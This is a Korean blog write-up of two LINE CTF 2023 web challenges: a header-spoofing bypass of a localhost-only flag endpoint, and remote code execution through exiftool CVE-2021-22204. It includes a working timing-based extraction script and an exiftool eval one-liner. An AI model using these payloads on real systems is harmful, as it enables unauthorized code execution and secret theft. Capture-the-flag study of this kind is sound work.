[Baby Simple GoCurl]

package main

import (
	"errors"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"strings"

	"github.com/gin-gonic/gin"
)

func redirectChecker(req *http.Request, via []*http.Request) error {
	reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

	if len(via) >= 2 || reqIp != "127.0.0.1" {
		return errors.New("Something wrong")
	}

	return nil
}

func main() {
	flag := os.Getenv("FLAG")

	r := gin.Default()

	r.LoadHTMLGlob("view/*.html")
	r.Static("/static", "./static")

	r.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", gin.H{
			"a": c.ClientIP(),
		})
	})

	r.GET("/curl/", func(c *gin.Context) {
		client := &http.Client{
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return redirectChecker(req, via)
			},
		}

		reqUrl := strings.ToLower(c.Query("url"))
		reqHeaderKey := c.Query("header_key")
		reqHeaderValue := c.Query("header_value")
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
		fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

		if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		req, err := http.NewRequest("GET", reqUrl, nil)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		if reqHeaderKey != "" || reqHeaderValue != "" {
			req.Header.Set(reqHeaderKey, reqHeaderValue)
		}

		resp, err := client.Do(req)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}

		defer resp.Body.Close()

		bodyText, err := ioutil.ReadAll(resp.Body)
		if err != nil {
			c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
			return
		}
		statusText := resp.Status

		c.JSON(http.StatusOK, gin.H{
			"body":   string(bodyText),
			"status": statusText,
		})
	})

	r.GET("/flag/", func(c *gin.Context) {
		reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

		log.Println("[+] IP : " + reqIP)
		if reqIP == "127.0.0.1" {
			c.JSON(http.StatusOK, gin.H{
				"message": flag,
			})
			return
		}

		c.JSON(http.StatusBadRequest, gin.H{
			"message": "You are a Guest, This is only for Host",
		})
	})

	r.Run()
}

go 언어로 코드가 구현되어 있습니다.

코드를 통해 필터링을 확인해보겠습니다.

 

  1. request는 127.0.0.1로 와야 한다.
  2. 'curl'이라는 문자열은 사용되서는 안된다. - (curl로 페이지 재호출 차단)
  3. 'flag'라는 문자열은 사용되서는 안된다. - (flag에 직접적인 접근 차단)
  4. '%'라는 문자열은 사용되서는 안된다. - (%0A로 줄 바꿈 사전 차단)

현재 상당히 많은 조건이 걸려있습니다만 request는 127.0.0.1이어야 한다는 것을 보고 X-Forwarded-For 헤더를 떠올렸습니다. 

 

위와 같이 url을 http://localhost:8080/flag/로 헤더에 X-Forwarded-For:127.0.0.1을 삽입하면 서버에서는 localhost에서 요청을 주는 것으로 판단하고 flag를 뱉어줍니다.

 

 

[Imagexif]

import os, queue, secrets, uuid
from random import seed, randrange


from flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response
from flask_executor import Executor
from flask_jwt_extended import JWTManager
from werkzeug.utils import secure_filename
from werkzeug.exceptions import HTTPException
import exifread, exiftool
from exiftool.exceptions import *
import base64, re, ast


from common.config import load_config, Config
from common.error import APIError, FileNotAllowed



conf = load_config()
work_queue = queue.Queue()

app = Flask(__name__)
executor = Executor(app)

app.config.from_object(Config)
app.jinja_env.add_extension("jinja2.ext.loopcontrols")
app.config['EXECUTOR_TYPE'] = 'thread'
app.config['EXECUTOR_MAX_WORKERS'] = 5

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
IMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])


@app.before_request
def before_request():
    userAgent = request.headers

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.errorhandler(Exception)
def handle_error(e):
    code = 500
    if isinstance(e, HTTPException):
        code = e.code
    return jsonify(error=str(e)), code


@app.route('/')
def index():
    return render_template(
        'index.html.j2')

@app.route('/upload', methods=["GET","POST"])
def upload():
    try:
        if request.method == 'GET':
            return render_template(
            'upload.html.j2')
        elif request.method == 'POST':
            if 'file' not in request.files:
                return 'there is no file in form!'
            file = request.files['file']
            if file and allowed_file(file.filename):
                _file = file.read()
                tmpFileName = str(uuid.uuid4())
                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
            else:
                raise FileNotAllowed(file.filename.rsplit('.',1)[1])

        os.remove("tmp/"+tmpFileName)
        return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
    except FileNotAllowed as e:
        return jsonify({
                "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolJSONInvalidError as e:
        os.remove("tmp/"+tmpFileName)
        data = e.stdout
        reg = re.findall('\[(.*?)\]',data, re.S )[0]
        metadata = ast.literal_eval(reg)
        if 0 != len(metadata):
            return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
        else:
            return jsonify({
                "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolException as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("ExifToolException Error Occur", str(e)).__dict__,
        }), 400
    except IndexError as e:
        return jsonify({
                "error": APIError("File extension could not found.", str(e)).__dict__,
        }), 400
    except Exception as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("Unknown Error Occur", str(e)).__dict__,
        }), 400


if __name__ == '__main__':
    app.run(host='0.0.0.0')

클라이언트에게 이미지를 받아 exiftool을 통해 처리된 결과를 웹상에서 제공해주는 서비스입니다.

 

{% extends "base.html.j2" %}

{% include 'head.html.j2' %}

{% block title %}LINE CTF 2023 Web [{img.exif}]{% endblock %}

{% block content %}


<div class="row border">
  <div class="col">
    <h1>Uploaded File</h1>
    <img src="data:image/png;base64,{{ thumbnail }}" /><br>
    <img src="data:image/png;base64,{{ image }}" width=800 height=600/>
    {% for key, value in tags.items() %}
  <li>
    <em>{{ key }}:</em> {{ value }}
  </li>
{% endfor %}

  </div>

</div>



{% endblock %}

thumbnail script injection이라고 생각하고 시도하다가 굳이 exiftool을 쓰는데는 이유가 있을 거라 생각하여 서칭 중 exiftool Arbitary Code Execution에 대해 알게 되었습니다.

 

패치된 버전은 12.24, 문제에서 돌고 있는 버전은 12.22였습니다.

one-day 취약점일 수 있다고 생각되어 POC를 따라 로컬에서 테스트를 진행해보았습니다.

 

POC를 살짝 변경하여 환경변수 PATH를 출력하는 코드를 image.jpg 코드로 만들었습니다.

보시는 바와 같이 imgae.jpg를 exiftool로 실행시키자 이미지 파일에 대한 정보가 아닌 환경변수 PATH 값이 출력되는 것을 확인할 수 있습니다.

 

이를 문제에 접목 시켜 터널링을 위한 코드를 삽입하여 image.jpg를 서버에 업로드 하였지만 서버측에서 코드 처리에 드는 시간만 늘어났을뿐 연결은 성공하지 못했습니다.

대부분의 CTF 문제가 OOB가 걸려있기 때문에 도커환경에서 외부 연결이 안되도록 처리해두었다고 사료됩니다.

 

#!/bin/sh

printf %d\\n \'$1

해당 문제에서는 뜬금없게도 ascii.sh이라는 파일이 하나 존재합니다.

이 스크립트는 /bin/sh 셸에서 실행되며 $1은 스크립트 실행 시 전달되는 첫 번째 인수입니다.

또한 printf %d는 숫자를 출력합니다.

이를 사용하여 image.jpg를 제작합니다.

 

from base64 import b64encode
import os
import requests
import time
from pwn import *

pwn = b64encode(open("exploit.py", "rb").read()).decode()

flag = "LINECTF{"  # 2a38211e3b4da95326f5ab593d0af0e9}"
#       LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
i = len(flag)
while True:
    print(flag)
    # sleep >= 10 -> a-f
    # sleep < 10 -> 0-9
    cmd = (
        "X=`/src/ascii.sh ${FLAG:%d:1}`; sleep `expr $X - 87` || sleep `expr $X - 48`"
        % i
    )
    print(cmd)
    os.system(f"python ./cve-2021-22204.py -c '{cmd}'")

    start = time.time()
    r = requests.post(
        "http://34.85.58.100:11008//upload", files={"file": open("./image.jpg", "rb")}
    )
    end = time.time()
    elapsed = end - start

    print(f"Elapsed: {elapsed}")
    try:
        char = "0123456789abcdef"[int(elapsed)]
        print(f"Found: {char}")
        if char in "1234567890abcdef}":
            flag += char
    except:
        flag += "?"
        print("Rejected!")
    i += 1

cmd는 /src/ascii.sh 파일을 이용하여 FLAG 문자열에서 i번째 문자를 추출한 뒤, 해당 문자를 아스키코드로 변환하여 sleep 명령어의 인자로 사용합니다.
여기서 조건문 if char in "1234567890abcdef}"을 이용하여 해당 문자열이 0123456789abcdef} 중 하나인지 확인하고, 이 조건에 만족하는 경우 해당 문자를 flag 변수에 추가합니다.

while 루프 내부에서는 마지막으로 requests 라이브러리를 이용하여 서버에 POST 요청을 보내고, 그 응답 속도를 이용하여 FLAG 문자열에서 다음 문자를 찾습니다.

 

좀더 쉬운 POC?

exiftool -config eval.config runme.jpg -eval="system('echo [{\\\"flag\\\":\\\"\$FLAG\\\"}]')"

위 코드로 runme.jpg를 생성하고 이를  upload 해주면 된다.

Reference :
https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233

https://blogs.blackberry.com/en/2021/06/from-fix-to-exploit-arbitrary-code-execution-for-cve-2021-22204-in-exiftool

'Challenge > CTF' 카테고리의 다른 글

wolv CTF 2023  (0) 2023.03.21
Dice CTF 2023  (0) 2023.02.08
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

+ Recent posts